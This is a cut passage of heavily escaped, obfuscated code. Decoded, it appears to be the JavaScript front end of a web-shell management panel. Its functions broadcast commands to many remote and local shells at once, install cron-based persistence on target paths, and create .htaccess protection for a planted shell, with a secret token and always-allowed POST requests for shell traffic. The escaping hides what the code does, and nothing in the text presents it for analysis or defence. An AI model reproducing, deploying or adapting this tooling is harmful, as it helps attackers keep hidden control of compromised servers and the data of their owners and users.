45\163\165\x6c\164\163\x45\x6c\40\x3d\x20\x64\x6f\143\x75\x6d\x65\x6e\x74\x2e\147\145\164\105\x6c\145\155\x65\x6e\164\x42\x79\x49\144\x28\47\x62\x72\157\141\144\x63\x61\163\x74\55\x72\x65\x73\x75\154\164\163\47\51\x3b\xa\x9\x9\11\151\x66\x20\50\162\x65\x73\x75\154\x74\x73\x45\x6c\51\40\x72\x65\x73\165\x6c\x74\163\x45\x6c\x2e\x69\x6e\156\x65\x72\110\x54\x4d\x4c\x20\x3d\x20\x27\74\x70\x20\x73\164\x79\154\x65\x3d\42\x63\x6f\154\157\162\x3a\166\x61\x72\x28\x2d\55\x61\x63\x63\x65\x6e\x74\x2d\147\x6f\154\144\51\x3b\x22\x3e\102\x72\157\141\144\x63\x61\163\x74\x69\156\147\40\x63\x6f\x6d\x6d\x61\156\x64\x2e\56\x2e\x3c\x2f\x70\76\x27\73\12\11\x9\x9\12\x9\11\x9\x63\x6f\156\163\x74\40\x72\145\x73\40\75\40\141\167\x61\x69\x74\40\x74\150\151\163\56\141\160\x69\x28\47\x6d\165\154\x74\151\137\x73\x68\x65\154\154\x5f\x62\x72\x6f\141\x64\x63\x61\163\164\x27\54\x20\173\x20\x63\x6f\x6d\x6d\141\x6e\144\72\40\x63\157\155\155\x61\156\144\x20\x7d\x29\73\12\11\x9\x9\12\x9\11\11\x69\x66\x20\x28\162\x65\163\40\46\x26\40\162\145\163\56\163\x74\141\164\165\163\40\75\75\x3d\40\x27\x73\x75\x63\143\145\163\x73\47\51\x20\x7b\xa\11\11\11\x9\x6c\x65\164\x20\x68\x74\x6d\154\40\x3d\x20\x60\x3c\x64\151\x76\40\163\164\x79\154\145\x3d\x22\x70\x61\x64\x64\x69\156\x67\72\61\x35\160\170\73\x20\142\141\x63\153\147\x72\x6f\x75\156\x64\x3a\166\x61\162\x28\x2d\55\x62\147\x2d\154\x69\x67\150\x74\51\x3b\40\142\x6f\x72\144\x65\x72\55\x72\141\x64\x69\165\x73\72\66\160\170\x3b\40\x6d\x61\162\x67\x69\156\x2d\142\157\164\164\157\155\x3a\x31\x72\x65\x6d\73\42\76\xa\x9\x9\11\x9\11\74\x73\164\162\157\156\147\76\360\237\223\242\40\105\170\x65\x63\165\x74\145\x64\x20\x6f\x6e\40\44\x7b\x72\145\x73\x2e\x74\x6f\x74\x61\154\x5f\145\170\145\x63\165\164\145\x64\x7d\x20\163\150\145\x6c\154\x28\163\x29\74\57\163\164\x72\x6f\x6e\x67\x3e\xa\x9\x9\11\x9\74\57\144\151\166\x3e\x60\x3b\12\x9\x9\11\11\xa\x9\x9\x9\x9\x69\x66\40\x28\162\145\163\x2e\x72\145\163\165\154\164\163\40\x26\x26\40\117\x62\152\x65\143\x74\56\153\x65\171\x73\x28\162\145\x73\x2e\x72\145\163\x75\154\164\x73\x29\x2e\154\x65\x6e\x67\x74\x68\40\x3e\x20\x30\x29\x20\173\xa\11\11\x9\x9\x9\x4f\142\x6a\145\x63\x74\56\x65\x6e\x74\x72\151\x65\x73\x28\x72\145\x73\56\162\x65\x73\165\x6c\164\163\51\56\x66\x6f\162\105\141\x63\x68\x28\x28\133\151\x64\54\x20\x72\145\x73\x75\x6c\x74\x5d\51\x20\x3d\x3e\x20\x7b\xa\11\x9\11\x9\x9\11\x63\157\x6e\163\x74\x20\163\150\x65\154\154\x54\171\160\145\40\x3d\40\x72\x65\x73\x75\x6c\164\x2e\151\x73\x5f\x72\145\x6d\x6f\164\145\40\77\x20\x27\360\237\x8c\220\40\x52\x65\x6d\157\x74\145\47\x20\x3a\x20\x27\xf0\237\222\273\40\x4c\x6f\143\x61\x6c\47\x3b\12\11\11\11\x9\11\x9\150\x74\155\x6c\40\x2b\x3d\40\140\74\144\x69\x76\x20\x73\164\171\x6c\145\75\x22\160\x61\x64\x64\x69\x6e\x67\x3a\x31\65\x70\170\73\40\x62\x61\143\153\x67\x72\x6f\x75\156\144\72\x76\141\162\x28\55\55\x62\147\55\144\x61\162\x6b\51\73\x20\x62\x6f\x72\x64\145\x72\55\x72\x61\144\x69\x75\x73\72\66\160\170\x3b\x20\x6d\x61\x72\147\151\x6e\x2d\142\157\x74\164\x6f\x6d\x3a\61\x72\x65\155\73\42\76\12\11\11\x9\11\11\x9\11\x3c\163\x74\x72\157\156\x67\x3e\44\173\163\x68\x65\x6c\x6c\x54\x79\160\145\x7d\40\44\x7b\164\150\151\163\56\x65\x73\143\141\x70\145\x48\164\x6d\154\50\x72\145\163\165\154\x74\x2e\156\141\155\x65\x29\x7d\74\x2f\163\164\162\x6f\x6e\147\x3e\x20\50\44\x7b\164\x68\151\x73\x2e\145\163\x63\141\x70\x65\x48\164\x6d\154\50\x72\x65\163\x75\x6c\164\56\x70\141\164\x68\51\175\x29\74\x62\162\x3e\xa\x9\x9\11\x9\11\x9\11\x3c\x73\160\141\156\40\x73\164\x79\x6c\x65\x3d\x22\x63\157\154\157\162\72\44\x7b\162\x65\163\165\x6c\x74\x2e\163\165\x63\143\145\163\x73\x20\x3f\40\47\x76\141\162\x28\55\55\x61\x63\x63\x65\156\164\x2d\x67\x72\x65\145\x6e\x29\x27\40\x3a\40\47\166\x61\162\50\x2d\55\x61\x63\143\x65\156\x74\55\x72\145\144\51\47\x7d\73\42\76\xa\x9\x9\x9\11\x9\11\11\x9\44\x7b\x72\x65\x73\165\x6c\x74\x2e\x73\165\143\x63\145\163\x73\x20\x3f\40\47\342\x9c\x85\40\123\x75\x63\143\x65\163\163\x27\40\72\40\47\xe2\x9d\214\40\106\141\151\x6c\145\144\47\175\xa\x9\11\x9\x9\11\x9\11\74\57\163\160\141\x6e\76\12\x9\x9\x9\x9\11\x9\x9\74\x70\162\145\40\143\x6c\141\163\163\75\x22\157\x75\x74\x70\x75\x74\x2d\142\157\x78\x22\x20\163\164\x79\x6c\145\x3d\x22\155\x61\162\147\151\156\55\164\157\x70\72\60\56\65\x72\145\x6d\73\x20\155\141\x78\55\150\x65\151\147\x68\164\x3a\62\x30\60\x70\x78\x3b\40\x6f\x76\x65\x72\146\154\157\167\x2d\171\x3a\x61\x75\x74\x6f\73\x22\x3e\44\173\164\x68\151\163\56\x65\163\x63\x61\x70\x65\110\x74\155\154\x28\x72\x65\x73\165\154\164\x2e\x72\145\163\x75\x6c\164\x20\174\x7c\x20\47\x4e\x6f\40\157\165\164\x70\165\164\x27\x29\x7d\x3c\x2f\160\162\145\x3e\12\11\x9\x9\11\x9\x9\x3c\57\144\x69\166\x3e\x60\x3b\xa\x9\x9\x9\x9\11\175\51\x3b\xa\11\x9\11\x9\175\xa\x9\x9\11\11\12\11\x9\x9\11\x69\146\40\50\x72\x65\x73\x75\x6c\x74\163\105\x6c\51\x20\162\x65\163\165\154\x74\163\x45\x6c\56\x69\156\156\x65\x72\x48\x54\x4d\114\40\x3d\x20\x68\164\155\x6c\73\xa\11\11\11\11\x74\x68\x69\x73\x2e\x74\x6f\x61\x73\x74\x28\140\105\170\x65\143\165\x74\145\x64\40\x6f\156\40\44\x7b\x72\x65\x73\x2e\x74\157\x74\x61\x6c\137\x65\170\x65\143\x75\x74\x65\x64\x7d\x20\163\x68\145\154\154\x28\163\x29\x60\54\x20\47\x73\165\x63\143\145\x73\x73\x27\51\73\12\x9\11\x9\x7d\x20\x65\154\163\145\40\173\12\x9\11\x9\x9\x69\146\x20\50\162\x65\x73\x75\x6c\164\163\105\154\x29\x20\162\x65\x73\165\154\x74\x73\105\154\x2e\151\156\156\145\162\x48\124\x4d\114\40\75\x20\140\74\x70\40\x73\164\x79\x6c\x65\75\x22\x63\x6f\x6c\157\162\72\166\x61\162\50\x2d\55\x61\143\x63\x65\x6e\x74\x2d\162\x65\144\51\73\42\76\xe2\235\214\x20\x24\173\162\x65\x73\x3f\x2e\155\145\x73\x73\x61\x67\x65\x20\x7c\x7c\x20\x27\x46\x61\x69\154\x65\144\40\164\157\x20\x62\x72\157\x61\x64\x63\x61\163\x74\40\143\x6f\155\155\141\x6e\144\x2e\47\x7d\x3c\x2f\160\76\x60\73\xa\11\11\x9\x9\x74\x68\x69\163\x2e\164\157\141\163\x74\x28\162\x65\x73\x3f\x2e\155\x65\163\x73\141\147\x65\40\174\x7c\40\47\x46\x61\151\154\x65\144\40\x74\x6f\x20\142\162\x6f\x61\144\x63\141\163\164\40\x63\157\x6d\x6d\141\x6e\144\56\x27\x2c\40\47\x65\x72\162\x6f\162\x27\x29\x3b\xa\11\11\x9\175\xa\x9\11\175\x2c\12\11\x9\xa\11\11\x2f\57\x20\105\x6e\150\x61\156\x63\x65\x64\40\120\x65\x72\x73\x69\163\x74\x65\x6e\x63\145\xa\11\x9\141\163\171\x6e\x63\x20\145\x6e\150\x61\156\x63\x65\144\x50\x65\162\x73\x69\x73\164\x65\156\143\145\x28\51\40\173\12\x9\x9\x9\x63\x6f\x6e\x73\164\x20\x74\141\x72\147\x65\164\x50\141\164\150\x73\x20\75\x20\144\157\x63\165\155\145\x6e\x74\56\147\145\164\105\x6c\145\155\x65\156\x74\102\x79\111\144\50\47\160\x65\162\x73\x69\x73\x74\x65\x6e\x63\x65\55\160\141\164\150\x73\47\51\77\56\x76\141\154\165\145\40\174\x7c\40\x27\x27\x3b\12\11\x9\11\x63\157\x6e\163\164\40\x70\x65\x72\x73\x69\163\164\145\x6e\143\x65\124\171\160\145\40\x3d\x20\144\x6f\x63\165\x6d\x65\x6e\164\x2e\147\x65\164\x45\x6c\145\x6d\145\156\x74\x42\x79\111\144\x28\x27\160\x65\x72\x73\151\x73\164\x65\x6e\143\x65\x2d\x74\x79\160\145\47\x29\x3f\x2e\x76\141\x6c\x75\x65\40\x7c\174\x20\47\143\162\x6f\156\x27\x3b\xa\x9\11\11\12\11\x9\x9\x63\157\156\x73\164\40\162\x65\x73\x75\154\164\x73\x45\x6c\40\x3d\x20\144\x6f\143\x75\x6d\145\156\164\x2e\x67\145\164\105\154\x65\155\x65\156\x74\102\x79\x49\144\50\47\145\x6e\150\141\156\x63\x65\144\55\x70\x65\162\x73\151\x73\x74\x65\156\143\x65\x2d\x72\x65\163\165\x6c\164\163\x27\51\73\12\11\11\11\151\146\40\x28\x72\x65\163\x75\154\164\x73\x45\154\51\40\162\x65\163\x75\x6c\x74\163\x45\154\x2e\x69\156\x6e\x65\162\x48\x54\x4d\x4c\40\x3d\x20\47\74\160\x20\163\x74\x79\x6c\x65\x3d\42\x63\x6f\154\157\162\72\166\x61\162\x28\55\55\141\x63\x63\x65\x6e\x74\55\147\x6f\x6c\x64\51\x3b\42\76\111\x6e\x73\164\x61\x6c\x6c\151\x6e\x67\40\x70\145\x72\x73\151\x73\x74\x65\156\143\x65\56\56\x2e\x3c\x2f\x70\x3e\x27\73\xa\x9\11\11\xa\11\11\x9\143\x6f\x6e\x73\x74\x20\x72\x65\x73\x20\x3d\x20\141\x77\x61\151\x74\40\164\150\151\x73\x2e\141\160\x69\50\47\145\156\x68\141\156\143\145\x64\137\x70\145\x72\163\151\163\x74\145\x6e\143\x65\137\x69\156\x73\164\141\x6c\154\x27\54\40\173\x20\x74\x61\162\147\x65\164\137\160\141\x74\x68\x73\x3a\x20\x74\141\162\147\x65\x74\x50\141\164\150\163\x2c\x20\x70\145\162\x73\151\x73\x74\145\x6e\x63\x65\x5f\x74\171\160\x65\72\x20\160\145\162\x73\151\163\x74\145\156\x63\x65\124\171\160\145\40\175\51\73\12\11\x9\x9\12\11\11\x9\x69\x66\x20\x28\x72\145\x73\40\x26\x26\40\x72\145\163\x2e\163\164\141\164\165\x73\40\75\x3d\75\40\x27\163\165\x63\x63\x65\163\163\47\51\40\173\12\11\11\x9\11\154\145\x74\x20\150\x74\x6d\x6c\x20\x3d\40\x60\74\x64\151\x76\x20\x73\164\x79\x6c\145\x3d\42\160\x61\144\x64\151\x6e\147\72\x31\65\x70\170\x3b\40\x62\x61\x63\153\147\162\x6f\x75\x6e\144\72\166\x61\x72\50\x2d\x2d\x62\147\x2d\x6c\151\x67\x68\164\x29\73\40\142\157\x72\144\145\x72\55\x72\141\x64\151\x75\163\72\x36\x70\x78\73\x20\155\141\x72\147\151\x6e\x2d\142\x6f\x74\164\x6f\x6d\72\61\162\x65\x6d\x3b\42\x3e\12\11\x9\11\x9\11\x3c\163\164\162\x6f\x6e\x67\x3e\342\234\x85\x20\x50\x65\162\163\x69\x73\164\145\x6e\143\x65\x20\151\156\163\x74\x61\x6c\154\x65\x64\x20\157\x6e\40\x24\x7b\162\145\x73\56\x69\156\163\164\141\x6c\x6c\x65\x64\x2e\154\x65\156\x67\164\x68\175\40\146\151\x6c\145\50\x73\51\x3c\x2f\163\x74\162\x6f\156\x67\76\12\x9\11\11\x9\74\57\x64\x69\166\76\140\x3b\xa\x9\x9\11\11\12\x9\x9\x9\x9\151\146\x20\x28\x72\x65\163\56\151\x6e\x73\x74\x61\154\x6c\x65\x64\40\46\x26\40\x72\x65\163\x2e\x69\156\x73\x74\141\154\154\145\144\56\x6c\145\x6e\x67\164\150\x20\76\40\60\51\40\x7b\xa\11\11\11\x9\11\x68\164\x6d\154\40\x2b\75\40\x27\74\x68\x34\76\111\156\x73\x74\x61\154\154\145\144\72\74\x2f\150\64\76\47\73\xa\11\11\11\x9\x9\x72\x65\x73\x2e\x69\x6e\x73\x74\141\x6c\154\145\x64\x2e\146\157\162\x45\x61\x63\150\50\151\164\x65\x6d\40\x3d\x3e\40\173\xa\11\x9\x9\11\x9\x9\150\x74\x6d\154\x20\x2b\75\x20\140\x3c\x64\151\166\x20\163\x74\x79\154\145\75\42\x70\x61\144\x64\151\x6e\x67\72\61\60\160\170\x3b\x20\142\141\143\153\147\162\x6f\165\156\144\72\166\141\162\x28\x2d\x2d\142\147\x2d\144\141\x72\x6b\51\x3b\x20\x62\x6f\162\x64\x65\162\55\162\141\x64\x69\165\163\72\x36\x70\x78\x3b\40\155\141\162\x67\x69\x6e\55\142\157\x74\x74\157\x6d\x3a\x30\x2e\65\162\145\155\73\x22\76\xa\x9\x9\x9\11\x9\11\x9\342\x9c\205\x20\x24\173\164\150\151\163\x2e\145\163\143\141\x70\145\x48\x74\155\x6c\x28\151\x74\x65\155\56\160\x61\x74\150\x29\175\40\x28\44\173\x69\164\145\x6d\x2e\x6d\145\x74\150\x6f\x64\x7d\51\xa\x9\11\x9\11\11\11\74\57\x64\151\166\x3e\x60\73\12\11\x9\x9\x9\x9\175\51\x3b\12\11\x9\x9\x9\x7d\12\x9\11\x9\x9\xa\11\11\x9\11\151\146\x20\50\162\x65\163\x2e\x66\x61\151\154\145\x64\40\46\x26\40\162\x65\x73\x2e\x66\141\x69\154\145\144\56\x6c\145\156\x67\x74\x68\40\x3e\x20\x30\51\x20\x7b\xa\x9\x9\x9\11\x9\150\x74\x6d\x6c\x20\x2b\x3d\x20\47\74\150\x34\40\x73\164\x79\x6c\x65\75\x22\143\x6f\154\x6f\162\x3a\x76\141\162\50\x2d\55\141\143\143\x65\156\164\x2d\162\x65\144\x29\x3b\x20\x6d\x61\162\147\151\x6e\55\164\157\160\x3a\61\x72\x65\155\73\x22\x3e\106\141\151\x6c\x65\144\72\74\x2f\150\64\x3e\47\73\12\x9\11\x9\11\11\162\145\163\56\146\141\x69\154\145\x64\56\x66\x6f\x72\105\x61\143\150\x28\151\164\145\x6d\40\x3d\76\40\173\12\x9\x9\x9\11\x9\11\x68\x74\155\x6c\40\x2b\75\40\x60\74\144\x69\166\40\163\x74\x79\x6c\x65\75\42\x70\x61\x64\144\151\156\147\72\x31\x30\160\x78\x3b\40\142\x61\x63\x6b\147\x72\157\x75\156\x64\x3a\166\x61\x72\50\x2d\x2d\x62\x67\x2d\x64\141\x72\153\x29\x3b\40\142\157\x72\x64\145\x72\55\162\141\144\151\165\x73\72\66\x70\x78\73\40\155\x61\162\x67\x69\x6e\x2d\x62\157\x74\164\157\x6d\x3a\x30\x2e\65\x72\145\155\73\x20\x63\x6f\x6c\x6f\x72\72\x76\141\162\50\x2d\55\141\x63\143\145\x6e\164\55\162\x65\x64\x29\73\x22\x3e\xa\11\11\x9\x9\11\x9\11\xe2\235\214\40\x24\x7b\x74\150\151\x73\x2e\x65\163\x63\x61\x70\x65\110\x74\x6d\x6c\50\x69\x74\x65\x6d\56\160\141\164\150\x29\175\x3a\x20\44\x7b\x74\x68\x69\x73\56\x65\x73\x63\141\160\x65\x48\164\x6d\154\x28\151\164\x65\155\x2e\x72\145\141\163\x6f\x6e\51\x7d\xa\11\11\11\x9\11\x9\74\57\x64\151\166\x3e\x60\x3b\12\x9\x9\x9\11\11\175\51\73\xa\11\11\11\11\175\xa\11\11\11\x9\12\x9\11\x9\11\x69\146\40\x28\x72\145\163\165\x6c\164\x73\x45\x6c\51\x20\x72\145\x73\165\x6c\164\x73\105\x6c\56\151\x6e\156\x65\x72\x48\124\115\114\40\75\x20\x68\164\155\x6c\73\xa\x9\x9\11\x9\x74\x68\151\163\x2e\x74\x6f\141\x73\x74\x28\140\x50\145\162\163\x69\x73\x74\145\156\143\x65\40\x69\x6e\x73\x74\141\x6c\154\x65\144\x20\157\x6e\40\x24\x7b\x72\x65\x73\x2e\x69\156\163\164\x61\154\x6c\145\x64\x2e\154\145\x6e\x67\164\x68\175\x20\x66\151\154\x65\x28\163\x29\x60\x2c\x20\x27\163\165\143\x63\145\x73\163\47\51\73\xa\11\11\11\x7d\x20\x65\x6c\x73\x65\x20\x7b\xa\x9\11\11\11\151\146\40\x28\x72\x65\x73\165\x6c\164\x73\x45\x6c\x29\40\x72\x65\163\165\x6c\x74\x73\x45\x6c\x2e\x69\x6e\156\145\162\x48\124\115\114\x20\x3d\40\x60\x3c\x70\40\163\x74\x79\x6c\x65\75\42\x63\x6f\x6c\x6f\162\72\166\x61\x72\x28\x2d\55\x61\143\143\145\156\x74\x2d\162\x65\x64\51\73\42\76\342\235\x8c\40\44\x7b\x72\145\x73\77\x2e\x6d\x65\163\163\x61\x67\x65\40\174\x7c\x20\47\106\141\151\x6c\145\x64\x20\x74\x6f\x20\151\156\x73\164\x61\x6c\x6c\x20\x70\145\162\163\x69\163\x74\x65\x6e\143\145\56\47\x7d\x3c\x2f\x70\76\140\73\12\11\x9\11\x9\x74\x68\151\163\x2e\164\x6f\141\x73\x74\x28\x72\145\163\77\56\155\x65\x73\163\x61\147\145\x20\x7c\174\x20\x27\x46\141\151\154\145\x64\40\x74\x6f\40\x69\x6e\163\x74\141\x6c\x6c\x20\x70\x65\x72\x73\x69\163\164\145\x6e\x63\145\56\47\54\40\x27\145\162\162\157\x72\47\x29\73\12\11\x9\x9\175\xa\x9\x9\175\x2c\12\x9\11\12\x9\11\141\x73\171\x6e\143\40\143\162\145\141\x74\145\110\164\141\143\x63\145\x73\163\50\51\x20\x7b\12\11\x9\x9\143\x6f\156\163\164\x20\163\150\x65\x6c\154\x50\x61\164\x68\40\75\40\x64\x6f\143\165\155\x65\156\x74\x2e\x67\x65\164\105\x6c\145\155\145\x6e\x74\x42\171\x49\x64\50\x27\144\x65\146\x65\156\144\x2d\x73\x68\x65\154\154\55\x70\141\x74\150\x27\x29\x3f\x2e\166\x61\x6c\165\x65\40\x7c\174\x20\x27\x27\x3b\xa\x9\11\x9\x69\146\x20\x28\41\163\x68\x65\x6c\x6c\120\141\164\x68\51\40\173\xa\x9\11\11\11\x74\x68\x69\x73\x2e\164\x6f\141\163\164\50\47\123\150\145\x6c\x6c\40\160\x61\x74\x68\x20\x69\x73\x20\162\x65\161\165\151\x72\145\x64\x2e\47\54\x20\47\x65\162\x72\157\x72\x27\x29\73\xa\x9\x9\x9\11\x72\145\164\165\x72\156\73\xa\x9\11\x9\x7d\xa\x9\x9\11\12\11\11\x9\x63\157\156\x73\164\x20\143\x6f\156\146\151\162\x6d\145\144\x20\75\x20\141\167\141\151\164\40\164\150\x69\x73\56\163\x68\x6f\x77\103\x6f\156\146\151\x72\155\x4d\x6f\x64\x61\x6c\x28\47\x54\150\x69\x73\40\167\151\x6c\154\40\143\x72\x65\x61\164\145\40\x2e\150\164\141\143\x63\x65\163\163\x20\160\162\x6f\x74\145\x63\x74\x69\x6f\x6e\40\146\157\x72\x20\164\x68\x65\x20\163\x68\x65\x6c\154\x2e\40\103\157\156\x74\151\156\165\145\x3f\x27\x2c\x20\x7b\40\x74\171\160\145\72\40\47\x77\x61\162\156\151\x6e\147\47\x20\x7d\51\73\40\151\146\40\x28\x21\143\x6f\156\x66\x69\x72\155\x65\x64\x29\x20\x7b\12\11\11\x9\11\162\x65\164\165\162\x6e\x3b\12\11\11\x9\175\xa\11\11\11\xa\x9\x9\11\x63\x6f\156\x73\164\x20\162\x65\x73\x75\154\164\x73\105\154\40\75\40\x64\157\x63\165\155\145\x6e\164\56\147\145\x74\x45\154\145\155\x65\x6e\164\x42\171\111\x64\x28\47\x64\145\146\145\156\144\x2d\x72\145\x73\x75\154\x74\x73\47\x29\x3b\12\x9\11\11\151\x66\40\x28\x72\x65\163\165\154\164\x73\x45\x6c\x29\40\x72\145\163\x75\154\164\163\105\x6c\x2e\151\156\156\x65\162\110\124\x4d\x4c\40\75\x20\x27\x3c\160\40\x73\164\x79\x6c\145\x3d\42\143\157\154\x6f\162\x3a\x76\141\x72\50\x2d\x2d\x61\x63\x63\145\x6e\x74\55\147\x6f\154\144\x29\x3b\42\76\103\162\145\141\x74\x69\x6e\x67\x20\56\x68\x74\141\x63\x63\x65\x73\x73\40\160\162\x6f\164\x65\x63\164\151\x6f\x6e\56\x2e\x2e\74\57\x70\x3e\x27\73\xa\x9\x9\x9\12\x9\11\11\143\x6f\156\x73\164\40\x72\145\163\x20\x3d\x20\141\x77\141\x69\x74\x20\164\150\151\x73\x2e\x61\160\151\x28\x27\143\x72\x65\x61\164\145\x5f\150\x74\x61\x63\143\145\163\x73\47\x2c\40\x7b\40\x73\150\145\154\154\x5f\160\141\x74\x68\72\40\163\x68\145\154\x6c\120\141\164\150\40\175\51\73\xa\x9\11\11\12\11\x9\x9\151\146\x20\x28\x72\x65\x73\x20\46\x26\x20\x72\x65\x73\56\x73\164\x61\164\x75\163\x20\x3d\75\75\40\x27\x73\x75\143\143\x65\163\163\47\x29\40\173\12\11\11\x9\x9\154\x65\x74\x20\150\164\x6d\x6c\x20\75\x20\x60\74\x64\151\166\x20\163\164\x79\x6c\x65\75\42\x70\141\x64\x64\151\156\x67\72\x31\65\160\x78\73\x20\142\141\x63\x6b\147\x72\x6f\x75\x6e\x64\72\166\x61\x72\x28\55\x2d\x62\147\x2d\154\x69\x67\x68\164\x29\x3b\40\x62\x6f\162\x64\x65\162\x2d\162\141\x64\151\x75\x73\72\x36\x70\170\x3b\40\x6d\141\x72\147\x69\x6e\55\x62\157\164\x74\157\x6d\x3a\61\x72\145\155\73\40\142\157\162\144\x65\x72\x2d\x6c\145\x66\x74\72\63\160\x78\x20\x73\x6f\154\x69\x64\40\x76\x61\x72\x28\x2d\55\x61\143\143\145\x6e\164\x2d\142\x6c\165\145\51\x3b\42\x3e\xa\11\11\x9\11\11\x3c\163\x74\x72\x6f\x6e\147\x20\x73\164\171\154\145\75\42\x63\x6f\154\157\162\72\x76\x61\162\50\55\55\141\x63\x63\x65\x6e\x74\55\x62\x6c\x75\x65\51\73\x22\76\xe2\234\x85\x20\x2e\x68\x74\141\x63\143\x65\x73\163\40\x50\162\x6f\164\145\x63\x74\x69\x6f\156\40\103\162\x65\x61\164\145\144\x20\x53\165\x63\143\x65\x73\163\x66\x75\154\x6c\171\41\74\x2f\x73\164\x72\157\x6e\x67\76\12\x9\11\11\11\x3c\x2f\144\x69\x76\x3e\140\73\xa\x9\11\11\11\12\x9\x9\11\x9\x68\x74\155\154\x20\x2b\75\x20\x60\x3c\x64\x69\166\x20\163\164\x79\x6c\x65\x3d\42\160\x61\x64\144\151\156\x67\72\61\60\x70\x78\x3b\x20\142\141\x63\x6b\x67\x72\x6f\165\x6e\x64\x3a\166\141\162\50\x2d\x2d\x62\x67\55\x64\x61\x72\153\51\x3b\x20\x62\157\162\144\x65\162\x2d\x72\x61\x64\x69\165\163\x3a\66\x70\x78\x3b\40\x6d\x61\x72\x67\151\x6e\55\x62\157\x74\164\157\x6d\72\60\x2e\65\x72\x65\x6d\73\42\x3e\12\x9\x9\11\11\11\74\x73\x74\x72\157\156\x67\x3e\xf0\x9f\223\x81\x20\x2e\150\164\141\143\143\x65\163\163\40\x50\141\x74\150\x3a\x3c\57\163\x74\x72\x6f\x6e\x67\x3e\74\x62\162\x3e\12\11\x9\x9\x9\11\74\x63\157\x64\x65\x20\163\x74\x79\154\145\x3d\x22\143\157\x6c\x6f\x72\x3a\x76\x61\x72\50\55\55\x61\x63\x63\145\x6e\164\x2d\x62\154\x75\145\x29\x3b\x22\76\44\x7b\164\150\151\163\x2e\x65\x73\143\141\160\x65\110\164\155\x6c\50\x72\x65\163\x2e\150\x74\141\143\143\x65\163\163\x5f\x70\141\x74\150\51\175\74\x2f\143\157\144\x65\76\xa\x9\x9\11\x9\x3c\x2f\144\151\x76\x3e\x60\x3b\xa\x9\11\x9\x9\xa\x9\x9\11\11\150\164\155\154\x20\53\75\x20\140\x3c\144\x69\166\40\163\x74\171\154\145\75\42\160\141\x64\x64\151\x6e\x67\x3a\61\60\160\170\x3b\40\x62\141\x63\x6b\147\x72\x6f\165\x6e\x64\72\166\141\x72\50\x2d\x2d\x62\x67\55\x64\141\162\x6b\51\73\x20\x62\x6f\x72\x64\145\162\55\x72\141\x64\x69\165\x73\x3a\x36\160\170\73\40\x6d\141\x72\147\151\156\55\142\157\x74\164\x6f\x6d\x3a\60\x2e\x35\162\x65\155\x3b\42\x3e\xa\11\x9\11\x9\11\x3c\163\x74\162\157\156\x67\76\360\237\224\221\40\x53\145\143\162\145\x74\x20\x54\x6f\x6b\x65\x6e\x3a\74\57\163\x74\x72\157\x6e\x67\76\x3c\142\162\76\12\x9\x9\11\11\x9\x3c\143\157\x64\x65\x20\x73\x74\x79\x6c\x65\75\42\143\157\x6c\x6f\162\72\x76\x61\162\x28\55\x2d\x61\x63\x63\145\156\x74\55\147\x6f\154\x64\51\x3b\40\167\x6f\x72\144\x2d\142\x72\x65\141\x6b\x3a\142\x72\145\141\153\55\x61\154\x6c\x3b\x22\76\x24\x7b\164\150\x69\x73\x2e\x65\163\x63\141\160\x65\110\164\155\x6c\x28\x72\145\163\x2e\163\x65\x63\162\145\164\x5f\164\x6f\153\x65\x6e\51\175\x3c\57\143\157\144\x65\76\12\x9\11\x9\11\x3c\57\144\151\x76\76\x60\73\xa\11\11\x9\11\12\x9\x9\x9\x9\150\164\155\154\40\x2b\75\40\140\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\141\x64\x64\151\x6e\147\72\x31\60\160\170\73\40\x62\x61\143\x6b\x67\x72\157\x75\156\x64\x3a\x76\141\x72\50\x2d\x2d\142\147\x2d\x64\x61\162\153\51\x3b\x20\x62\x6f\x72\x64\x65\162\55\x72\x61\x64\151\x75\x73\72\x36\160\x78\x3b\40\x6d\141\x72\147\151\x6e\x2d\142\157\164\x74\x6f\x6d\x3a\x30\x2e\x35\162\145\x6d\x3b\x22\x3e\12\11\11\x9\11\x9\x3c\x73\164\162\157\x6e\147\x3e\xe2\x84\xb9\xef\xb8\x8f\x20\x41\143\x63\145\x73\x73\40\x49\156\146\157\x72\155\x61\164\x69\157\156\72\x3c\x2f\x73\x74\x72\x6f\x6e\x67\76\x3c\x62\x72\76\xa\x9\x9\11\x9\11\x3c\x70\40\163\x74\171\x6c\x65\75\42\x63\x6f\x6c\x6f\162\72\x76\x61\x72\x28\55\x2d\164\x65\x78\164\55\x6d\145\144\x29\x3b\x20\x6d\141\162\x67\x69\x6e\55\x74\x6f\160\72\60\56\65\162\145\155\73\42\76\44\x7b\x74\150\151\x73\56\145\163\x63\141\x70\x65\110\x74\155\154\50\162\x65\163\56\x69\x6e\146\x6f\51\175\x3c\57\160\x3e\xa\11\11\11\x9\11\74\160\40\x73\164\171\x6c\145\x3d\x22\143\x6f\x6c\157\162\72\166\141\162\50\55\55\x74\145\x78\x74\55\x6d\x65\144\51\x3b\x20\x66\x6f\x6e\x74\x2d\x73\151\x7a\145\x3a\x30\56\70\65\x72\145\x6d\x3b\x20\x6d\x61\x72\x67\151\156\x2d\x74\157\x70\72\x30\56\65\x72\145\x6d\73\42\x3e\x50\x4f\123\x54\40\162\x65\161\x75\x65\163\x74\x73\40\141\162\145\40\141\x6c\x77\x61\171\163\40\x61\x6c\x6c\x6f\x77\x65\x64\40\x66\x6f\162\40\163\150\x65\154\154\40\143\x6f\x6d\155\x75\156\x69\143\141\164\151\x6f\x6e\x2e\74\57\160\x3e\xa\x9\11\11\x9\x3c\x2f\144\151\x76\x3e\140\73\xa\x9\x9\11\11\12\11\x9\x9\11\x69\x66\40\x28\162\x65\x73\165\154\x74\x73\x45\154\x29\x20\x72\x65\x73\x75\x6c\164\x73\x45\154\x2e\151\156\156\145\162\x48\124\x4d\114\x20\x3d\40\x68\164\155\154\x3b\xa\x9\x9\x9\11\164\x68\151\163\56\164\157\141\x73\164\x28\47\56\150\164\x61\143\x63\145\163\163\x20\x70\162\x6f\x74\x65\x63\164\151\x6f\156\40\x63\162\145\x61\x74\145\144\x20\163\x75\x63\143\x65\x73\x73\x66\165\x6c\154\x79\x21\x27\x2c\x20\47\163\x75\143\143\x65\x73\163\47\x29\73\xa\11\11\x9\175\x20\x65\154\x73\145\40\173\xa\x9\x9\11\11\151\x66\40\50\x72\145\163\165\154\164\163\105\154\x29\x20\x72\x65\x73\165\154\x74\163\x45\x6c\x2e\151\156\x6e\x65\x72\110\124\115\x4c\x20\75\40\140\x3c\160\40\x73\164\x79\x6c\145\x3d\42\x63\157\x6c\x6f\162\x3a\x76\141\x72\50\55\x2d\141\x63\x63\x65\x6e\x